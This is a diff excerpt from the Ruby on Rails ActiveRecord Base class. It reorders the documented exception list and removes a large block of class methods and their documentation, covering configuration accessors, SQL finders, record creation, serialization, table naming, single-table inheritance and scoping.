-  # * RecordNotFound - No record responded to the +find+ method. Either the row with the given ID doesn't exist
-  #   or the row didn't meet the additional restrictions. Some +find+ calls do not raise this exception to signal
-  #   nothing was found, please check its documentation for further details.
-  # * StatementInvalid - The database server rejected the SQL statement. The precise error is added in the message.
   # * MultiparameterAssignmentErrors - Collection of errors that occurred during a mass assignment using the
   #   <tt>attributes=</tt> method. The +errors+ property of this exception contains an array of
   #   AttributeAssignmentError
   #   objects that should be inspected to determine which attributes triggered the errors.
-  # * AttributeAssignmentError - An error occurred while doing a mass assignment through the
-  #   <tt>attributes=</tt> method.
-  #   You can inspect the +attribute+ property of the exception object to determine which attribute
-  #   triggered the error.
+  # * RecordInvalid - raised by save! and create! when the record is invalid.
+  # * RecordNotFound - No record responded to the +find+ method. Either the row with the given ID doesn't exist
+  #   or the row didn't meet the additional restrictions. Some +find+ calls do not raise this exception to signal
+  #   nothing was found, please check its documentation for further details.
+  # * SerializationTypeMismatch - The serialized object wasn't of the class specified as the second parameter.
+  # * StatementInvalid - The database server rejected the SQL statement. The precise error is added in the message.
   #
   # *Note*: The attributes listed are class-level attributes (accessible from both the class and instance level).
   # So it's possible to assign a logger to the class through <tt>Base.logger=</tt> which will then be used by all
   # instances in the current object space.
   class Base
-    ##
-    # :singleton-method:
-    # Accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class,
-    # which is then passed on to any new database connections made and which can be retrieved on both
-    # a class and instance level by calling +logger+.
-    cattr_accessor :logger, :instance_writer => false
-
-    ##
-    # :singleton-method:
-    # Contains the database configuration - as is typically stored in config/database.yml -
-    # as a Hash.
-    #
-    # For example, the following database.yml...
-    #
-    #   development:
-    #     adapter: sqlite3
-    #     database: db/development.sqlite3
-    #
-    #   production:
-    #     adapter: sqlite3
-    #     database: db/production.sqlite3
-    #
-    # ...would result in ActiveRecord::Base.configurations to look like this:
-    #
-    #   {
-    #      'development' => {
-    #         'adapter'  => 'sqlite3',
-    #         'database' => 'db/development.sqlite3'
-    #      },
-    #      'production' => {
-    #         'adapter'  => 'sqlite3',
-    #         'database' => 'db/production.sqlite3'
-    #      }
-    #   }
-    cattr_accessor :configurations, :instance_writer => false
-    @@configurations = {}
-
-    ##
-    # :singleton-method:
-    # Accessor for the prefix type that will be prepended to every primary key column name.
-    # The options are :table_name and :table_name_with_underscore. If the first is specified,
-    # the Product class will look for "productid" instead of "id" as the primary column. If the
-    # latter is specified, the Product class will look for "product_id" instead of "id". Remember
-    # that this is a global setting for all Active Records.
-    cattr_accessor :primary_key_prefix_type, :instance_writer => false
-    @@primary_key_prefix_type = nil
-
-    ##
-    # :singleton-method:
-    # Accessor for the name of the prefix string to prepend to every table name. So if set
-    # to "basecamp_", all table names will be named like "basecamp_projects", "basecamp_people",
-    # etc. This is a convenient way of creating a namespace for tables in a shared database.
-    # By default, the prefix is the empty string.
-    #
-    # If you are organising your models within modules you can add a prefix to the models within
-    # a namespace by defining a singleton method in the parent module called table_name_prefix which
-    # returns your chosen prefix.
-    class_attribute :table_name_prefix, :instance_writer => false
-    self.table_name_prefix = ""
-
-    ##
-    # :singleton-method:
-    # Works like +table_name_prefix+, but appends instead of prepends (set to "_basecamp" gives "projects_basecamp",
-    # "people_basecamp"). By default, the suffix is the empty string.
-    class_attribute :table_name_suffix, :instance_writer => false
-    self.table_name_suffix = ""
-
-    ##
-    # :singleton-method:
-    # Indicates whether table names should be the pluralized versions of the corresponding class names.
-    # If true, the default table name for a Product class will be +products+. If false, it would just be +product+.
-    # See table_name for the full rules on table/class naming. This is true, by default.
-    class_attribute :pluralize_table_names, :instance_writer => false
-    self.pluralize_table_names = true
-
-    ##
-    # :singleton-method:
-    # Determines whether to use Time.local (using :local) or Time.utc (using :utc) when pulling
-    # dates and times from the database. This is set to :local by default.
-    cattr_accessor :default_timezone, :instance_writer => false
-    @@default_timezone = :local
-
-    ##
-    # :singleton-method:
-    # Specifies the format to use when dumping the database schema with Rails'
-    # Rakefile. If :sql, the schema is dumped as (potentially database-
-    # specific) SQL statements. If :ruby, the schema is dumped as an
-    # ActiveRecord::Schema file which can be loaded into any database that
-    # supports migrations. Use :ruby if you want to have different database
-    # adapters for, e.g., your development and test environments.
-    cattr_accessor :schema_format , :instance_writer => false
-    @@schema_format = :ruby
-
-    ##
-    # :singleton-method:
-    # Specify whether or not to use timestamps for migration versions
-    cattr_accessor :timestamped_migrations , :instance_writer => false
-    @@timestamped_migrations = true
-
-    # Determine whether to store the full constant name including namespace when using STI
-    class_attribute :store_full_sti_class
-    self.store_full_sti_class = true
-
-    # Stores the default scope for the class
-    class_attribute :default_scopes, :instance_writer => false
-    self.default_scopes = []
-
-    # Returns a hash of all the attributes that have been specified for serialization as
-    # keys and their class restriction as values.
-    class_attribute :serialized_attributes
-    self.serialized_attributes = {}
-
-    class_attribute :_attr_readonly, :instance_writer => false
-    self._attr_readonly = []
-
-    class << self # Class methods
-      delegate :find, :first, :first!, :last, :last!, :all, :exists?, :any?, :many?, :to => :scoped
-      delegate :first_or_create, :first_or_create!, :first_or_initialize, :to => :scoped
-      delegate :destroy, :destroy_all, :delete, :delete_all, :update, :update_all, :to => :scoped
-      delegate :find_each, :find_in_batches, :to => :scoped
-      delegate :select, :group, :order, :except, :reorder, :limit, :offset, :joins,
-               :where, :preload, :eager_load, :includes, :from, :lock, :readonly,
-               :having, :create_with, :uniq, :to => :scoped
-      delegate :count, :average, :minimum, :maximum, :sum, :calculate, :to => :scoped
-
-      # Executes a custom SQL query against your database and returns all the results. The results will
-      # be returned as an array with columns requested encapsulated as attributes of the model you call
-      # this method from. If you call <tt>Product.find_by_sql</tt> then the results will be returned in
-      # a Product object with the attributes you specified in the SQL query.
-      #
-      # If you call a complicated SQL query which spans multiple tables the columns specified by the
-      # SELECT will be attributes of the model, whether or not they are columns of the corresponding
-      # table.
-      #
-      # The +sql+ parameter is a full SQL query as a string. It will be called as is, there will be
-      # no database agnostic conversions performed. This should be a last resort because using, for example,
-      # MySQL specific terms will lock you to using that particular database engine or require you to
-      # change your call if you switch engines.
-      #
-      # ==== Examples
-      #   # A simple SQL query spanning multiple tables
-      #   Post.find_by_sql "SELECT p.title, c.author FROM posts p, comments c WHERE p.id = c.post_id"
-      #   > [#<Post:0x36bff9c @attributes={"title"=>"Ruby Meetup", "first_name"=>"Quentin"}>, ...]
-      #
-      #   # You can use the same string replacement techniques as you can with ActiveRecord#find
-      #   Post.find_by_sql ["SELECT title FROM posts WHERE author = ? AND created > ?", author_id, start_date]
-      #   > [#<Post:0x36bff9c @attributes={"title"=>"The Cheap Man Buys Twice"}>, ...]
-      def find_by_sql(sql, binds = [])
-        connection.select_all(sanitize_sql(sql), "#{name} Load", binds).collect! { |record| instantiate(record) }
-      end
-
-      # Creates an object (or multiple objects) and saves it to the database, if validations pass.
-      # The resulting object is returned whether the object was saved successfully to the database or not.
-      #
-      # The +attributes+ parameter can be either be a Hash or an Array of Hashes. These Hashes describe the
-      # attributes on the objects that are to be created.
-      #
-      # +create+ respects mass-assignment security and accepts either +:as+ or +:without_protection+ options
-      # in the +options+ parameter.
-      #
-      # ==== Examples
-      #   # Create a single new object
-      #   User.create(:first_name => 'Jamie')
-      #
-      #   # Create a single new object using the :admin mass-assignment security role
-      #   User.create({ :first_name => 'Jamie', :is_admin => true }, :as => :admin)
-      #
-      #   # Create a single new object bypassing mass-assignment security
-      #   User.create({ :first_name => 'Jamie', :is_admin => true }, :without_protection => true)
-      #
-      #   # Create an Array of new objects
-      #   User.create([{ :first_name => 'Jamie' }, { :first_name => 'Jeremy' }])
-      #
-      #   # Create a single object and pass it into a block to set other attributes.
-      #   User.create(:first_name => 'Jamie') do |u|
-      #     u.is_admin = false
-      #   end
-      #
-      #   # Creating an Array of new objects using a block, where the block is executed for each object:
-      #   User.create([{ :first_name => 'Jamie' }, { :first_name => 'Jeremy' }]) do |u|
-      #     u.is_admin = false
-      #   end
-      def create(attributes = nil, options = {}, &block)
-        if attributes.is_a?(Array)
-          attributes.collect { |attr| create(attr, options, &block) }
-        else
-          object = new(attributes, options, &block)
-          object.save
-          object
-        end
-      end
-
-      # Returns the result of an SQL statement that should only include a COUNT(*) in the SELECT part.
-      # The use of this method should be restricted to complicated SQL queries that can't be executed
-      # using the ActiveRecord::Calculations class methods. Look into those before using this.
-      #
-      # ==== Parameters
-      #
-      # * +sql+ - An SQL statement which should return a count query from the database, see the example below.
-      #
-      # ==== Examples
-      #
-      #   Product.count_by_sql "SELECT COUNT(*) FROM sales s, customers c WHERE s.customer_id = c.id"
-      def count_by_sql(sql)
-        sql = sanitize_conditions(sql)
-        connection.select_value(sql, "#{name} Count").to_i
-      end
-
-      # Attributes listed as readonly will be used to create a new record but update operations will
-      # ignore these fields.
-      def attr_readonly(*attributes)
-        self._attr_readonly = Set.new(attributes.map { |a| a.to_s }) + (self._attr_readonly || [])
-      end
-
-      # Returns an array of all the attributes that have been specified as readonly.
-      def readonly_attributes
-        self._attr_readonly
-      end
-
-      # If you have an attribute that needs to be saved to the database as an object, and retrieved as the same object,
-      # then specify the name of that attribute using this method and it will be handled automatically.
-      # The serialization is done through YAML. If +class_name+ is specified, the serialized object must be of that
-      # class on retrieval or SerializationTypeMismatch will be raised.
-      #
-      # ==== Parameters
-      #
-      # * +attr_name+ - The field name that should be serialized.
-      # * +class_name+ - Optional, class name that the object type should be equal to.
-      #
-      # ==== Example
-      #   # Serialize a preferences attribute
-      #   class User < ActiveRecord::Base
-      #     serialize :preferences
-      #   end
-      def serialize(attr_name, class_name = Object)
-        coder = if [:load, :dump].all? { |x| class_name.respond_to?(x) }
-                  class_name
-                else
-                  Coders::YAMLColumn.new(class_name)
-                end
-
-        # merge new serialized attribute and create new hash to ensure that each class in inheritance hierarchy
-        # has its own hash of own serialized attributes
-        self.serialized_attributes = serialized_attributes.merge(attr_name.to_s => coder)
-      end
-
-      # Guesses the table name (in forced lower-case) based on the name of the class in the
-      # inheritance hierarchy descending directly from ActiveRecord::Base. So if the hierarchy
-      # looks like: Reply < Message < ActiveRecord::Base, then Message is used
-      # to guess the table name even when called on Reply. The rules used to do the guess
-      # are handled by the Inflector class in Active Support, which knows almost all common
-      # English inflections. You can add new inflections in config/initializers/inflections.rb.
-      #
-      # Nested classes are given table names prefixed by the singular form of
-      # the parent's table name. Enclosing modules are not considered.
-      #
-      # ==== Examples
-      #
-      #   class Invoice < ActiveRecord::Base
-      #   end
-      #
-      #   file                  class               table_name
-      #   invoice.rb            Invoice             invoices
-      #
-      #   class Invoice < ActiveRecord::Base
-      #     class Lineitem < ActiveRecord::Base
-      #     end
-      #   end
-      #
-      #   file                  class               table_name
-      #   invoice.rb            Invoice::Lineitem   invoice_lineitems
-      #
-      #   module Invoice
-      #     class Lineitem < ActiveRecord::Base
-      #     end
-      #   end
-      #
-      #   file                  class               table_name
-      #   invoice/lineitem.rb   Invoice::Lineitem   lineitems
-      #
-      # Additionally, the class-level +table_name_prefix+ is prepended and the
-      # +table_name_suffix+ is appended. So if you have "myapp_" as a prefix,
-      # the table name guess for an Invoice class becomes "myapp_invoices".
-      # Invoice::Lineitem becomes "myapp_invoice_lineitems".
-      #
-      # You can also overwrite this class method to allow for unguessable
-      # links, such as a Mouse class with a link to a "mice" table. Example:
-      #
-      #   class Mouse < ActiveRecord::Base
-      #     set_table_name "mice"
-      #   end
-      def table_name
-        reset_table_name
-      end
-
-      # Returns a quoted version of the table name, used to construct SQL statements.
-      def quoted_table_name
-        @quoted_table_name ||= connection.quote_table_name(table_name)
-      end
-
-      # Computes the table name, (re)sets it internally, and returns it.
-      def reset_table_name #:nodoc:
-        return if abstract_class?
-
-        self.table_name = compute_table_name
-      end
-
-      def full_table_name_prefix #:nodoc:
-        (parents.detect{ |p| p.respond_to?(:table_name_prefix) } || self).table_name_prefix
-      end
-
-      # Defines the column name for use with single table inheritance. Use
-      # <tt>set_inheritance_column</tt> to set a different value.
-      def inheritance_column
-        @inheritance_column ||= "type"
-      end
-
-      # Lazy-set the sequence name to the connection's default. This method
-      # is only ever called once since set_sequence_name overrides it.
-      def sequence_name #:nodoc:
-        reset_sequence_name
-      end
-
-      def reset_sequence_name #:nodoc:
-        default = connection.default_sequence_name(table_name, primary_key)
-        set_sequence_name(default)
-        default
-      end
-
-      # Sets the table name. If the value is nil or false then the value returned by the given
-      # block is used.
-      #
-      #   class Project < ActiveRecord::Base
-      #     set_table_name "project"
-      #   end
-      def set_table_name(value = nil, &block)
-        @quoted_table_name = nil
-        define_attr_method :table_name, value, &block
-        @arel_table = nil
-
-        @relation = Relation.new(self, arel_table)
-      end
-      alias :table_name= :set_table_name
-
-      # Sets the name of the inheritance column to use to the given value,
-      # or (if the value # is nil or false) to the value returned by the
-      # given block.
-      #
-      #   class Project < ActiveRecord::Base
-      #     set_inheritance_column do
-      #       original_inheritance_column + "_id"
-      #     end
-      #   end
-      def set_inheritance_column(value = nil, &block)
-        define_attr_method :inheritance_column, value, &block
-      end
-      alias :inheritance_column= :set_inheritance_column
-
-      # Sets the name of the sequence to use when generating ids to the given
-      # value, or (if the value is nil or false) to the value returned by the
-      # given block. This is required for Oracle and is useful for any
-      # database which relies on sequences for primary key generation.
-      #
-      # If a sequence name is not explicitly set when using Oracle or Firebird,
-      # it will default to the commonly used pattern of: #{table_name}_seq
-      #
-      # If a sequence name is not explicitly set when using PostgreSQL, it
-      # will discover the sequence corresponding to your primary key for you.
-      #
-      #   class Project < ActiveRecord::Base
-      #     set_sequence_name "projectseq"   # default would have been "project_seq"
-      #   end
-      def set_sequence_name(value = nil, &block)
-        define_attr_method :sequence_name, value, &block
-      end
-      alias :sequence_name= :set_sequence_name
-
-      # Indicates whether the table associated with this class exists
-      def table_exists?
-        connection.table_exists?(table_name)
-      end
-
-      # Returns an array of column objects for the table associated with this class.
-      def columns
-        if defined?(@primary_key)
-          connection_pool.primary_keys[table_name] ||= primary_key
-        end
-
-        connection_pool.columns[table_name]
-      end
-
-      # Returns a hash of column objects for the table associated with this class.
-      def columns_hash
-        connection_pool.columns_hash[table_name]
-      end
-
-      # Returns a hash where the keys are column names and the values are
-      # default values when instantiating the AR object for this table.
-      def column_defaults
-        connection_pool.column_defaults[table_name]
-      end
-
-      # Returns an array of column names as strings.
-      def column_names
-        @column_names ||= columns.map { |column| column.name }
-      end
-
-      # Returns an array of column objects where the primary id, all columns ending in "_id" or "_count",
-      # and columns used for single table inheritance have been removed.
-      def content_columns
-        @content_columns ||= columns.reject { |c| c.primary || c.name =~ /(_id|_count)$/ || c.name == inheritance_column }
-      end
-
-      # Returns a hash of all the methods added to query each of the columns in the table with the name of the method as the key
-      # and true as the value. This makes it possible to do O(1) lookups in respond_to? to check if a given method for attribute
-      # is available.
-      def column_methods_hash #:nodoc:
-        @dynamic_methods_hash ||= column_names.inject(Hash.new(false)) do |methods, attr|
-          attr_name = attr.to_s
-          methods[attr.to_sym]       = attr_name
-          methods["#{attr}=".to_sym] = attr_name
-          methods["#{attr}?".to_sym] = attr_name
-          methods["#{attr}_before_type_cast".to_sym] = attr_name
-          methods
-        end
-      end
-
-      # Resets all the cached information about columns, which will cause them
-      # to be reloaded on the next request.
-      #
-      # The most common usage pattern for this method is probably in a migration,
-      # when just after creating a table you want to populate it with some default
-      # values, eg:
-      #
-      #  class CreateJobLevels < ActiveRecord::Migration
-      #    def up
-      #      create_table :job_levels do |t|
-      #        t.integer :id
-      #        t.string :name
-      #
-      #        t.timestamps
-      #      end
-      #
-      #      JobLevel.reset_column_information
-      #      %w{assistant executive manager director}.each do |type|
-      #        JobLevel.create(:name => type)
-      #      end
-      #    end
-      #
-      #    def down
-      #      drop_table :job_levels
-      #    end
-      #  end
-      def reset_column_information
-        connection.clear_cache!
-        undefine_attribute_methods
-        connection_pool.clear_table_cache!(table_name) if table_exists?
-
-        @column_names = @content_columns = @dynamic_methods_hash = @inheritance_column = nil
-        @arel_engine = @relation = nil
-      end
-
-      def clear_cache! # :nodoc:
-        connection_pool.clear_cache!
-      end
-
-      def attribute_method?(attribute)
-        super || (table_exists? && column_names.include?(attribute.to_s.sub(/=$/, '')))
-      end
-
-      # Returns an array of column names as strings if it's not
-      # an abstract class and table exists.
-      # Otherwise it returns an empty array.
-      def attribute_names
-        @attribute_names ||= if !abstract_class? && table_exists?
-            column_names
-          else
-            []
-          end
-      end
-
-      # Set the lookup ancestors for ActiveModel.
-      def lookup_ancestors #:nodoc:
-        klass = self
-        classes = [klass]
-        return classes if klass == ActiveRecord::Base
-
-        while klass != klass.base_class
-          classes << klass = klass.superclass
-        end
-        classes
-      end
-
-      # Set the i18n scope to overwrite ActiveModel.
-      def i18n_scope #:nodoc:
-        :activerecord
-      end
-
-      # True if this isn't a concrete subclass needing a STI type condition.
-      def descends_from_active_record?
-        if superclass.abstract_class?
-          superclass.descends_from_active_record?
-        else
-          superclass == Base || !columns_hash.include?(inheritance_column)
-        end
-      end
-
-      def finder_needs_type_condition? #:nodoc:
-        # This is like this because benchmarking justifies the strange :false stuff
-        :true == (@finder_needs_type_condition ||= descends_from_active_record? ? :false : :true)
-      end
-
-      # Returns a string like 'Post(id:integer, title:string, body:text)'
-      def inspect
-        if self == Base
-          super
-        elsif abstract_class?
-          "#{super}(abstract)"
-        elsif table_exists?
-          attr_list = columns.map { |c| "#{c.name}: #{c.type}" } * ', '
-          "#{super}(#{attr_list})"
-        else
-          "#{super}(Table doesn't exist)"
-        end
-      end
-
-      def quote_value(value, column = nil) #:nodoc:
-        connection.quote(value,column)
-      end
-
-      # Used to sanitize objects before they're used in an SQL SELECT statement. Delegates to <tt>connection.quote</tt>.
-      def sanitize(object) #:nodoc:
-        connection.quote(object)
-      end
-
-      # Overwrite the default class equality method to provide support for association proxies.
-      def ===(object)
-        object.is_a?(self)
-      end
-
-      def symbolized_base_class
-        @symbolized_base_class ||= base_class.to_s.to_sym
-      end
-
-      def symbolized_sti_name
-        @symbolized_sti_name ||= sti_name.present? ? sti_name.to_sym : symbolized_base_class
-      end
-
-      # Returns the base AR subclass that this class descends from. If A
-      # extends AR::Base, A.base_class will return A. If B descends from A
-      # through some arbitrarily deep hierarchy, B.base_class will return A.
-      #
-      # If B < A and C < B and if A is an abstract_class then both B.base_class
-      # and C.base_class would return B as the answer since A is an abstract_class.
-      def base_class
-        class_of_active_record_descendant(self)
-      end
-
-      # Set this to true if this is an abstract class (see <tt>abstract_class?</tt>).
-      attr_accessor :abstract_class
-
-      # Returns whether this class is an abstract class or not.
-      def abstract_class?
-        defined?(@abstract_class) && @abstract_class == true
-      end
-
-      def respond_to?(method_id, include_private = false)
-        if match = DynamicFinderMatch.match(method_id)
-          return true if all_attributes_exists?(match.attribute_names)
-        elsif match = DynamicScopeMatch.match(method_id)
-          return true if all_attributes_exists?(match.attribute_names)
-        end
-
-        super
-      end
-
-      def sti_name
-        store_full_sti_class ? name : name.demodulize
-      end
-
-      def arel_table
-        @arel_table ||= Arel::Table.new(table_name, arel_engine)
-      end
-
-      def arel_engine
-        @arel_engine ||= begin
-          if self == ActiveRecord::Base
-            ActiveRecord::Base
-          else
-            connection_handler.connection_pools[name] ? self : superclass.arel_engine
-          end
-        end
-      end
-
-      # Returns a scope for this class without taking into account the default_scope.
-      #
-      #   class Post < ActiveRecord::Base
-      #     def self.default_scope
-      #       where :published => true
-      #     end
-      #   end
-      #
-      #   Post.all          # Fires "SELECT * FROM posts WHERE published = true"
-      #   Post.unscoped.all # Fires "SELECT * FROM posts"
-      #
-      # This method also accepts a block meaning that all queries inside the block will
-      # not use the default_scope:
-      #
-      #   Post.unscoped {
-      #     Post.limit(10) # Fires "SELECT * FROM posts LIMIT 10"
-      #   }
-      #
-      # It is recommended to use block form of unscoped because chaining unscoped with <tt>scope</tt>
-      # does not work. Assuming that <tt>published</tt> is a <tt>scope</tt> following two statements are same.
-      #
-      # Post.unscoped.published
-      # Post.published
-      def unscoped #:nodoc:
-        block_given? ? relation.scoping { yield } : relation
-      end
-
-      def before_remove_const #:nodoc:
-        self.current_scope = nil
-      end
-
-      # Finder methods must instantiate through this method to work with the
-      # single-table inheritance model that makes it possible to create
-      # objects of different types from the same table.
-      def instantiate(record)
-        sti_class = find_sti_class(record[inheritance_column])
-        record_id = sti_class.primary_key && record[sti_class.primary_key]
-
-        if ActiveRecord::IdentityMap.enabled? && record_id
-          if (column = sti_class.columns_hash[sti_class.primary_key]) && column.number?
-            record_id = record_id.to_i
-          end
-          if instance = IdentityMap.get(sti_class, record_id)
-            instance.reinit_with('attributes' => record)
-          else
-            instance = sti_class.allocate.init_with('attributes' => record)
-            IdentityMap.add(instance)
-          end
-        else
-          instance = sti_class.allocate.init_with('attributes' => record)
-        end
-
-        instance
-      end
-
-      private
-
-        def relation #:nodoc:
-          @relation ||= Relation.new(self, arel_table)
-
-          if finder_needs_type_condition?
-            @relation.where(type_condition).create_with(inheritance_column.to_sym => sti_name)
-          else
-            @relation
-          end
-        end
-
-        def find_sti_class(type_name)
-          if type_name.blank? || !columns_hash.include?(inheritance_column)
-            self
-          else
-            begin
-              if store_full_sti_class
-                ActiveSupport::Dependencies.constantize(type_name)
-              else
-                compute_type(type_name)
-              end
-            rescue NameError
-              raise SubclassNotFound,
-                "The single-table inheritance mechanism failed to locate the subclass: '#{type_name}'. " +
-                "This error is raised because the column '#{inheritance_column}' is reserved for storing the class in case of inheritance. " +
-                "Please rename this column if you didn't intend it to be used for storing the inheritance class " +
-                "or overwrite #{name}.inheritance_column to use another column for that information."
-            end
-          end
-        end
-
-        def construct_finder_arel(options = {}, scope = nil)
-          relation = options.is_a?(Hash) ? unscoped.apply_finder_options(options) : options
-          relation = scope.merge(relation) if scope
-          relation
-        end
-
-        def type_condition(table = arel_table)
-          sti_column = table[inheritance_column.to_sym]
-          sti_names  = ([self] + descendants).map { |model| model.sti_name }
-
-          sti_column.in(sti_names)
-        end
-
-        # Guesses the table name, but does not decorate it with prefix and suffix information.
-        def undecorated_table_name(class_name = base_class.name)
-          table_name = class_name.to_s.demodulize.underscore
-          table_name = table_name.pluralize if pluralize_table_names
-          table_name
-        end
-
-        # Computes and returns a table name according to default conventions.
-        def compute_table_name
-          base = base_class
-          if self == base
-            # Nested classes are prefixed with singular parent table name.
-            if parent < ActiveRecord::Base && !parent.abstract_class?
-              contained = parent.table_name
-              contained = contained.singularize if parent.pluralize_table_names
-              contained += '_'
-            end
-            "#{full_table_name_prefix}#{contained}#{undecorated_table_name(name)}#{table_name_suffix}"
-          else
-            # STI subclasses always use their superclass' table.
-            base.table_name
-          end
-        end
-
-        # Enables dynamic finders like <tt>User.find_by_user_name(user_name)</tt> and
-        # <tt>User.scoped_by_user_name(user_name). Refer to Dynamic attribute-based finders
-        # section at the top of this file for more detailed information.
-        #
-        # It's even possible to use all the additional parameters to +find+. For example, the
-        # full interface for +find_all_by_amount+ is actually <tt>find_all_by_amount(amount, options)</tt>.
-        #
-        # Each dynamic finder using <tt>scoped_by_*</tt> is also defined in the class after it
-        # is first invoked, so that future attempts to use it do not run through method_missing.
-        def method_missing(method_id, *arguments, &block)
-          if match = (DynamicFinderMatch.match(method_id) || DynamicScopeMatch.match(method_id))
-            attribute_names = match.attribute_names
-            super unless all_attributes_exists?(attribute_names)
-            if arguments.size < attribute_names.size
-              method_trace = "#{__FILE__}:#{__LINE__}:in `#{method_id}'"
-              backtrace = [method_trace] + caller
-              raise ArgumentError, "wrong number of arguments (#{arguments.size} for #{attribute_names.size})", backtrace
-            end
-            if match.respond_to?(:scope?) && match.scope?
-              self.class_eval <<-METHOD, __FILE__, __LINE__ + 1
-                def self.#{method_id}(*args)                                    # def self.scoped_by_user_name_and_password(*args)
-                  attributes = Hash[[:#{attribute_names.join(',:')}].zip(args)] #   attributes = Hash[[:user_name, :password].zip(args)]
-                                                                                #
-                  scoped(:conditions => attributes)                             #   scoped(:conditions => attributes)
-                end                                                             # end
-              METHOD
-              send(method_id, *arguments)
-            elsif match.finder?
-              options = arguments.extract_options!
-              relation = options.any? ? scoped(options) : scoped
-              relation.send :find_by_attributes, match, attribute_names, *arguments, &block
-            elsif match.instantiator?
-              scoped.send :find_or_instantiator_by_attributes, match, attribute_names, *arguments, &block
-            end
-          else
-            super
-          end
-        end
-
-        # Similar in purpose to +expand_hash_conditions_for_aggregates+.
-        def expand_attribute_names_for_aggregates(attribute_names)
-          attribute_names.map { |attribute_name|
-            unless (aggregation = reflect_on_aggregation(attribute_name.to_sym)).nil?
-              aggregate_mapping(aggregation).map do |field_attr, _|
-                field_attr.to_sym
-              end
-            else
-              attribute_name.to_sym
-            end
-          }.flatten
-        end
-
-        def all_attributes_exists?(attribute_names)
-          (expand_attribute_names_for_aggregates(attribute_names) -
-           column_methods_hash.keys).empty?
-        end
-
-      protected
-        # with_scope lets you apply options to inner block incrementally. It takes a hash and the keys must be
-        # <tt>:find</tt> or <tt>:create</tt>. <tt>:find</tt> parameter is <tt>Relation</tt> while
-        # <tt>:create</tt> parameters are an attributes hash.
-        #
-        #   class Article < ActiveRecord::Base
-        #     def self.create_with_scope
-        #       with_scope(:find => where(:blog_id => 1), :create => { :blog_id => 1 }) do
-        #         find(1) # => SELECT * from articles WHERE blog_id = 1 AND id = 1
-        #         a = create(1)
-        #         a.blog_id # => 1
-        #       end
-        #     end
-        #   end
-        #
-        # In nested scopings, all previous parameters are overwritten by the innermost rule, with the exception of
-        # <tt>where</tt>, <tt>includes</tt>, and <tt>joins</tt> operations in <tt>Relation</tt>, which are merged.
-        #
-        # <tt>joins</tt> operations are uniqued so multiple scopes can join in the same table without table aliasing
-        # problems. If you need to join multiple tables, but still want one of the tables to be uniqued, use the
-        # array of strings format for your joins.
-        #
-        #   class Article < ActiveRecord::Base
-        #     def self.find_with_scope
-        #       with_scope(:find => where(:blog_id => 1).limit(1), :create => { :blog_id => 1 }) do
-        #         with_scope(:find => limit(10)) do
-        #           all # => SELECT * from articles WHERE blog_id = 1 LIMIT 10
-        #         end
-        #         with_scope(:find => where(:author_id => 3)) do
-        #           all # => SELECT * from articles WHERE blog_id = 1 AND author_id = 3 LIMIT 1
-        #         end
-        #       end
-        #     end
-        #   end
-        #
-        # You can ignore any previous scopings by using the <tt>with_exclusive_scope</tt> method.
-        #
-        #   class Article < ActiveRecord::Base
-        #     def self.find_with_exclusive_scope
-        #       with_scope(:find => where(:blog_id => 1).limit(1)) do
-        #         with_exclusive_scope(:find => limit(10)) do
-        #           all # => SELECT * from articles LIMIT 10
-        #         end
-        #       end
-        #     end
-        #   end
-        #
-        # *Note*: the +:find+ scope also has effect on update and deletion methods, like +update_all+ and +delete_all+.
-        def with_scope(scope = {}, action = :merge, &block)
-          # If another Active Record class has been passed in, get its current scope
-          scope = scope.current_scope if !scope.is_a?(Relation) && scope.respond_to?(:current_scope)
-
-          previous_scope = self.current_scope
-
-          if scope.is_a?(Hash)
-            # Dup first and second level of hash (method and params).
-            scope = scope.dup
-            scope.each do |method, params|
-              scope[method] = params.dup unless params == true
-            end
-
-            scope.assert_valid_keys([ :find, :create ])
-            relation = construct_finder_arel(scope[:find] || {})
-            relation.default_scoped = true unless action == :overwrite
-
-            if previous_scope && previous_scope.create_with_value && scope[:create]
-              scope_for_create = if action == :merge
-                previous_scope.create_with_value.merge(scope[:create])
-              else
-                scope[:create]
-              end
-
-              relation = relation.create_with(scope_for_create)
-            else
-              scope_for_create = scope[:create]
-              scope_for_create ||= previous_scope.create_with_value if previous_scope
-              relation = relation.create_with(scope_for_create) if scope_for_create
-            end
-
-            scope = relation
-          end
-
-          scope = previous_scope.merge(scope) if previous_scope && action == :merge
-
-          self.current_scope = scope
-          begin
-            yield
-          ensure
-            self.current_scope = previous_scope
-          end
-        end
-
-        # Works like with_scope, but discards any nested properties.
-        def with_exclusive_scope(method_scoping = {}, &block)
-          if method_scoping.values.any? { |e| e.is_a?(ActiveRecord::Relation) }
-            raise ArgumentError, <<-MSG
-New finder API can not be used with_exclusive_scope. You can either call unscoped to get an anonymous scope not bound to the default_scope:
-
-  User.unscoped.where(:active => true)
-
-Or call unscoped with a block:
-
-  User.unscoped do
-    User.where(:active => true).all
-  end
-
-MSG
-          end
-          with_scope(method_scoping, :overwrite, &block)
-        end
-
-        def current_scope #:nodoc:
-          Thread.current["#{self}_current_scope"]
-        end
-
-        def current_scope=(scope) #:nodoc:
-          Thread.current["#{self}_current_scope"] = scope
-        end
-
-        # Use this macro in your model to set a default scope for all operations on
-        # the model.
-        #
-        #   class Article < ActiveRecord::Base
-        #     default_scope where(:published => true)
-        #   end
-        #
-        #   Article.all # => SELECT * FROM articles WHERE published = true
-        #
-        # The <tt>default_scope</tt> is also applied while creating/building a record. It is not
-        # applied while updating a record.
-        #
-        #   Article.new.published    # => true
-        #   Article.create.published # => true
-        #
-        # You can also use <tt>default_scope</tt> with a block, in order to have it lazily evaluated:
-        #
-        #   class Article < ActiveRecord::Base
-        #     default_scope { where(:published_at => Time.now - 1.week) }
-        #   end
-        #
-        # (You can also pass any object which responds to <tt>call</tt> to the <tt>default_scope</tt>
-        # macro, and it will be called when building the default scope.)
-        #
-        # If you use multiple <tt>default_scope</tt> declarations in your model then they will
-        # be merged together:
-        #
-        #   class Article < ActiveRecord::Base
-        #     default_scope where(:published => true)
-        #     default_scope where(:rating => 'G')
-        #   end
-        #
-        #   Article.all # => SELECT * FROM articles WHERE published = true AND rating = 'G'
-        #
-        # This is also the case with inheritance and module includes where the parent or module
-        # defines a <tt>default_scope</tt> and the child or including class defines a second one.
-        #
-        # If you need to do more complex things with a default scope, you can alternatively
-        # define it as a class method:
-        #
-        #   class Article < ActiveRecord::Base
-        #     def self.default_scope
-        #       # Should return a scope, you can call 'super' here etc.
-        #     end
-        #   end
-        def default_scope(scope = {})
-          scope = Proc.new if block_given?
-          self.default_scopes = default_scopes + [scope]
-        end
-
